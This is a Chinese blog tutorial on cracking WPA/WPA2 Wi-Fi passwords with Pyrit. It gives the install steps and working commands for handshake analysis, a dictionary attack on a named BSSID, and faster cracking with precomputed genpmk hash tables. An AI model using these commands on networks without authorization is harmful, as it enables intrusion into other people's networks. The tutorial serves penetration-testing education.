WPA渗透-pyrit:GPU加速_Hash-table

文章介绍了Pyrit工具,一个用于WPA/WPA2安全协议渗透测试的开源软件,特别强调了它能利用GPU加速生成RainbowTable。通过详细步骤展示了如何安装Pyrit,安装依赖Scapy,以及如何分析握手包、使用字典或Hash-Table进行WiFi密码破解。尽管生成Hash-Table耗时较长,但能显著提高破解速度。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

WPA渗透-pyrit:GPU加速_Hash-table

1.pyrit工具介绍

pyrit是一款开源且完全免费的软件,任何人都可以检查,复制或修改它。它在各种平台上编译和执行,包括FreeBSD、MacOS X和Linux作为操作系统以及x86、alpha、arm等处理器。

使用pyrit工具最大的优点,在于它可以使用除CPU之外的GPU运算加速生成彩虹表,本身支持抓包获取四步握手过程,无须使用airodump抓包,如果已经通过ariodump抓取数据,也可以使用pyrit进行读取。

2.安装pyrit

1.修改更新源

vim /etc/apt/sources.list

deb http://mirrors.ustc.edu.cn/debian/ buster main contrib non-free
deb http://mirrors.ustc.edu.cn/debian/ buster-updates main contrib non-free
deb http://mirrors.ustc.edu.cn/debian/ buster-backports main contrib non-free
deb http://mirrors.ustc.edu.cn/debian-security buster/updates main contrib non-free

在这里插入图片描述

2.更新安装源

apt-get update && apt-get upgrade

在这里插入图片描述

3.下载pyrit

现在网上一大堆安装pyrit的方法都会出现依赖报错

这里直接提供一个方法

pyrit安装包地址:

https://github.com/hacker3983/pyrit-installer.git
git clone https://github.com/hacker3983/pyrit-installer.git
cd pyrit-installer
bash install.sh

在这里插入图片描述

而且这个打包的安装文件可以检测pyrit所依赖的py版本等,进行自动删改,应该能解决类似所有问题

3.安装scapy到指定目录步骤

1、下载scapy:

wget -v https://github.com/secdev/scapy/archive/v2.3.2.tar.gz

2、解压后进入目录执行安装:

tar -xzvf tar -xzvf scapy-2.3.2.tar.gz
cd scapy-2.3.2 
python2 setup.py build
python2 setup.py install

4.渗透wifi

1.分析握手包信息

pyrit -r cap包 analyze
-r:pcap格式的数据包捕获源
analyze:分析数据包捕获文件

pyrit -r wpa-1-01.cap analyze

在这里插入图片描述

2.密码字典渗透WiFi

pyrit -r 握手包 -i 字典 -b bssid attack_passthrough
-i:输入的文件名
-b:按BSSID筛选AccessPoint
attack_passthrough:用文件中的密码攻击握手

pyrit -r wpa-1-01.cap -i pwd.txt -b d8:24:bd:79:18:0b attack_passthrough

在这里插入图片描述

可以看到这样加速的情况速度还是比较慢的,我们还以用hash-table加速破解速度,关于如何生成hash-table,我之前的文章里有写过,大家可以去查阅

3.hash-table加速渗透wifi,将字典转换成hash-table的形式

genpmk -f  pwd.txt -d ./pwdhash -s cisco-1809
-s wifi的SSID

在这里插入图片描述
生成hask-table速度比较慢,一般要几小时,但是具有可传播性

pyrit -r 握手包 -i 哈希列表 -b bssid attack_cowpatty
attack_cowpatty:攻击一个来自cowpatty文件的PMK握手

pyrit -r wpa-1-01.cap -i pwdhash -b d8:24:bd:79:18:0b attack_cowpatty

在这里插入图片描述

可以看到换成hash-table后破解速度非常的快,达到了四千万每秒的破解速度

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

怰月

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值